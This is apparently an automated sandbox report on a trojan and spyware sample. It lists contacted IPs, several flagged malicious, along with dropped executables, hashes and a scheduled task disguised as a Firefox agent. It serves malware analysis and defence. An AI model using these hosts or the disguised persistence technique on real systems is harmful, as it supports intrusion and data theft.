http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://get.adob	D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000007.00000002.307090325.00000199E945D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306674613.00000199E945C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.158.215	short.link	United States	13335	CLOUDFLARENETUS	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
86.107.197.138	unknown	Romania	39855	MOD-EUNL	true
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.133.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
91.243.44.128	unknown	Russian Federation	395092	SHOCK-1US	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
31.28.27.130	host-data-coin-11.com	Russian Federation	12616	HOSTING-MSKRU	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
164.132.207.80	dodecoin.org	France	16276	OVHFR	false
185.7.214.171	unknown	France	42652	DELUNETDE	true
67.199.248.14	bitly.com	United States	396982	GOOGLE-PRIVATE-CLOUDUS	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
67.199.248.10	bit.ly	United States	396982	GOOGLE-PRIVATE-CLOUDUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	546825
Start date:	31.12.2021
Start time:	19:11:06
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	GJXZRPhgm4.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@41/20@57/15
EGA Information:	Failed
HDC Information:	Successful, ratio: 22.8% (good quality ratio 17.2%) Quality average: 59.5% Quality standard deviation: 39.7%
HCA Information:	Successful, ratio: 57% Number of executed functions: 189 Number of non-executed functions: 232
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, consent.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86, 20.54.110.249, 52.251.79.25 Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, patmushta.info, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:12:37	Task Scheduler	Run new task: Firefox Default Browser Agent BE4DF5AF81625C8F path: C:\Users\user\AppData\Roaming\aafjaea
19:12:44	API Interceptor	7x Sleep call for process: svchost.exe modified
19:12:56	API Interceptor	1x Sleep call for process: C376.exe modified
19:13:02	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
19:13:45	API Interceptor	22x Sleep call for process: D80A.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\C376.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\D80A.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\D80A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\C376.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Temp\89R1NGVK Download File
Process:	C:\Users\user\AppData\Local\Temp\C376.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B074.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	844800
Entropy (8bit):	7.512590176050023
Encrypted:	false
SSDEEP:	24576:/Xj+AMBIt1mgZYgpeS04FTqSEjOZvT2T:KVBItxZreR8Z2T
MD5:	DBFAEC97A910463B8767B8CEB053CF3C
SHA1:	B9470684EB254871A989D41DA389AAB0159A0DED
SHA-256:	F6CB90F76C5BA8A4482C8405F744103F898B7D1920C569B74FB22DD9BEA7D2A4
SHA-512:	12556CB478ACB96394E06CE462DB008669E62FFA2197A91B7C1C3DF46BD5833177C91C30DF3506285A62E08AC184AB1663004429E19F5CE85DF7C88C88810161
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L....._.....................&......0.............@..........................PH.............................................L...(....@...b....................H.(!..`...................................@............................................text............................... ..`.data...ho..........................@....huwu........ ......................@....sax.........0.......0..............@....rsrc.....3..@...d...>..............@..@.reloc...@....H..B..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B7EC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	6.221092836326738
Encrypted:	false
SSDEEP:	6144:soI4eh8PycOOhu/Apcrt/Yb8xL4HCAlJdlSg5JPm:soIVWPyrOhu/Apch/Yb8xLulJdPT
MD5:	4EB8AAA41FC2EF6FDC3432CC47C09C66
SHA1:	6AA99ADF337E5DB142AA3A75C416BAD6E8F7A2ED
SHA-256:	8CEDC3FB74185394BBF60D2DC1F9618B1E576986F13031B9E29EF12DAA6EAF2C
SHA-512:	38C0F954F5E371FA11AD0A918E5D8E817807AEA0E445B1F614E7A26583E692606966213E8E9C5DF818F2A0FD1B7D93C48E25229A2825500BC56BB735F51F000D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!.B!.B!.....B!..4...B!..4...B!.:..B!.B .(B!..4..B!..4..B!..4..B!.Rich.B!.................PE..L...sC._......................3......H.......0....@.......................... 8.....}Y......................................d...(....p7..N....................7.P"..0...................................@............................................text............................... ..`.data....*3..0......................@....zaxifuz.....`7.....................@....rsrc....N...p7..P..................@..@.reloc...V....7..X..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C209.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	1578128
Entropy (8bit):	7.948639879741402
Encrypted:	false
SSDEEP:	49152:dQLiznQsIMreKKF1avBHrqvN1WTE9xoWraj+pA/sBCrr:d/ssIFK3vZrKr9xNWipJW
MD5:	4EAA33016932917B18A724B4286C47ED
SHA1:	14397DE6CD66B70334EAA6FB3A325440319A09FA
SHA-256:	358DF1BB52105CE30242C792642DB87DBC525A1BCFD5AD7FE5DA247F1489028E
SHA-512:	43651B18BE842C34834EBFE7575E29DA78581933001FF088032E97FB15E28D863EB30798007794C307F306C751CB48077BC7057149C83BFC6CF24D5853410737
Malicious:	false
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L......a.............................P?......@....@...........................@.....c.....@..................................@=.X....P=..............................................................................................................adata...0=............................`.adata.......@=.....................@....rsrc........P=.....................@..@.text........P?.Q}..................@.....................................................................................................................................................................................................................................................................................................................q&..Z.E...F..WPv....+..Y.5ta

C:\Users\user\AppData\Local\Temp\C376.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	350720
Entropy (8bit):	6.2451843570441765
Encrypted:	false
SSDEEP:	6144:RMe4If8UfSO1O1SvsmOYSf+hLyIR8r7/YbGTz4SdoFo1Cchs:RMe4IfTfSO1OMbOYE+hLyIR8H/YbGTz4
MD5:	A181F86F7191ED7680953213C7239305
SHA1:	D96EAB6E1D90BCAB904569AA8F5836FD7E6E53A3
SHA-256:	0B0F4588FA42DBDEF602EBEF393087FBDF6EC82110BB78C0CCB3035F0C6B68D5
SHA-512:	9DEAE05EDA48A1204FB402B3A32F3CD8781126C907C9F86AAE0B49BCBC59B1046145B0707960B10909FE623C38F6AF075F552623555CDBB466A743A511E577F5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!.B!.B!.....B!..4...B!..4...B!.:..B!.B .(B!..4..B!..4..B!..4..B!.Rich.B!.................PE..L....7._................. ....3.....@V.......0....@.......................... 8.....g...........................................(....p7..N....................7.L"..0...................................@............................................text...&........ .................. ..`.data....*3..0.......$..............@....cixi........`7.....................@....rsrc....N...p7..P..................@..@.reloc...V....7..X..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CF8D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347648
Entropy (8bit):	6.2297996342675255
Encrypted:	false
SSDEEP:	6144:KqoydvQ3tf1KZ6Hcplnva5hCIHosrx/Ybtr04P3ApE3f3CwsO:KqoyStf1KA8plnS5hCIHosF/Ybtr0xpu
MD5:	AD639AA5FF468BA6F8A7503FD5BF89BD
SHA1:	5C337AAB3F70D8E736B2DA54C4E2A59C6B6F3629
SHA-256:	492F084FCF04E9C8EA5E1B0D969A07A91916938C3F2968663F570604D0DE2AC4
SHA-512:	426D25103C8ECEDA89F43C0EF9C4A836CCADEA1D607CD0D1C43FC249160278568DA10AF60FE652DD106EE8B7EEB4E9327D70FB00A85B4C900812E66A6430381C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!.B!.B!.....B!..4...B!..4...B!.:..B!.B .(B!..4..B!..4..B!..4..B!.Rich.B!.................PE..L...d.`......................3.....PK.......0....@.......................... 8.................................................(....p7..N....................7.d"..0...................................@............................................text...6........................... ..`.data....*3..0......................@....vupa........`7.....................@....rsrc....N...p7..P..................@..@.reloc...V....7..X..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D1AA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	592384
Entropy (8bit):	5.168097770588799
Encrypted:	false
SSDEEP:	6144:kYRvaF96vYewL4ZAO3i0bEohlo4nN16tZGWA:FRvXUsFEZ7A
MD5:	66310F34A2567C8992BF25F58B4412CB
SHA1:	C8EE3470A4D1985C291E690A6E33AB101EB1FB9F
SHA-256:	9D6C372D28EBAF7D3811E7AFF549C117F7DBB2197ADD0FB6F8745C8B1EB436AC
SHA-512:	066A878E96C98779FF0B922860599E073480989001DEA8B347B391E17DAD912A9162AAF9A2CB42E6829D898BF97C8626C7E4CBEB17A4799312DE688A9B9C64A2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................e......................................w.....w./....w.....Rich...........................PE..L...g..a.....................^.......Q............@..........................@...........@.................................\...<....p....................... ..P...................................(...@...............\............................text...\|........................... ..`.rdata..(...........................@..@.data...X...........................@....rsrc........p.......@..............@..@.reloc..P.... ......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D80A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537600
Entropy (8bit):	5.8353234707233534
Encrypted:	false
SSDEEP:	12288:Un/FdRmmTOPQg0BQq+ODwMbIhZfzSxw/HelHAavv5c:Utm3KWGEQ5
MD5:	7FCE0E163EA7948C10B044B1EA77DAD9
SHA1:	93FF44509842641664B2780D46D50F42ED3C4CFD
SHA-256:	EE46E43181CA94A5AF22009D769CFAFDB3DE2E7ECF77BE553E49AC57659D3100
SHA-512:	2E7C2852DE5CE7872EF970B99C27E184A93CB8081D9E130A62A36B96A91BFA26CEDD408FC7EC091C8562258AECFB85434073782A304B059F4699200F67FA6FCA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..,...........J... ...`....@.. ....................................@..................................I..K....`............................................................................... ............... ..H............text....... ...,.................. ..`.rsrc........`......................@....reloc...............2..............@..B.................I......H............?...........X...............................................(......0..1.......8....(f...8.....~....u....s....z&8.........8................!.....................(f...(.......j................................(......(....8....(.........8....(....8..................................................0..............0...................................(......0.....................0..............(....z.A.........z.A.......................*.......

C:\Users\user\AppData\Local\Temp\G4WBIWT2 Download File
Process:	C:\Users\user\AppData\Local\Temp\C376.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\S0HVS2V3 Download File
Process:	C:\Users\user\AppData\Local\Temp\C376.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W4WB1DBI Download File
Process:	C:\Users\user\AppData\Local\Temp\C376.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589421877427324
Encrypted:	false
SSDEEP:	48:T9YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:2WU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16B54B80578A453C3615068532495897
SHA1:	03D021364027CDE0E7AE5008940FEB7E07CA293C
SHA-256:	75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCB9B541
SHA-512:	C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FE55457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBE8B1793797
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ackjzztq.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\CF8D.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13166080
Entropy (8bit):	3.5848544177684003
Encrypted:	false
SSDEEP:	24576:N6SbKFrS57Ybtr0m10000000000000000000000000000000000000000000000U:F
MD5:	55C2306F3ED3CD9B60ED0AA76322891F
SHA1:	EC7A0DD01E496EF638647F43D5F8F530C792F4CB
SHA-256:	A41F7F565D6A4504BA14E0B3D2E700ADE0BC5B721B754DA47D1F27D6C169C89F
SHA-512:	FAF10D1FF430626BADAE129CC9308447B684415188C2749632ED56D741507202D48F5CC221C53157E11B6E7BDE3AD8B389097C54AA12D3ED5446A5786FAC185C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!.B!.B!.....B!..4...B!..4...B!.:..B!.B .(B!..4..B!..4..B!..4..B!.Rich.B!.................PE..L...d.`......................3.....PK.......0....@.......................... 8.................................................(....p7..N....................7.d"..0...................................@............................................text...6........................... ..`.data....*3..0......................@....vupa........`7.....................@....rsrc....N...p7..P..................@..@.reloc...V....7.....................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\aafjaea Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	6.221092836326738
Encrypted:	false
SSDEEP:	6144:soI4eh8PycOOhu/Apcrt/Yb8xL4HCAlJdlSg5JPm:soIVWPyrOhu/Apch/Yb8xLulJdPT
MD5:	4EB8AAA41FC2EF6FDC3432CC47C09C66
SHA1:	6AA99ADF337E5DB142AA3A75C416BAD6E8F7A2ED
SHA-256:	8CEDC3FB74185394BBF60D2DC1F9618B1E576986F13031B9E29EF12DAA6EAF2C
SHA-512:	38C0F954F5E371FA11AD0A918E5D8E817807AEA0E445B1F614E7A26583E692606966213E8E9C5DF818F2A0FD1B7D93C48E25229A2825500BC56BB735F51F000D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!.B!.B!.....B!..4...B!..4...B!.:..B!.B .(B!..4..B!..4..B!..4..B!.Rich.B!.................PE..L...sC._......................3......H.......0....@.......................... 8.....}Y......................................d...(....p7..N....................7.P"..0...................................@............................................text............................... ..`.data....*3..0......................@....zaxifuz.....`7.....................@....rsrc....N...p7..P..................@..@.reloc...V....7..X..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\aafjaea:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1630768952928614
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3zU+v:j+s+v+b+P+m+0+Q+q+D+v
MD5:	3D004A50B84FC0D9F626EE17CF11B320
SHA1:	940BC38831F6CF9E172CDFFD5C7450C83E2F4756
SHA-256:	844D20D1527616077698BBCD887D0289AB3392ADA468F5114B6C2F920FBA90D5
SHA-512:	EF4878853EBF06DB6DD8D21A42900ADCADAA1D3FA973E17D3F6F072DDFA30A4EE4DD9F9734FB6B4B63B7A2A81F4D59D97136193D80254DB60DD16AFACB1E71B0
Malicious:	false
Reputation:	unknown
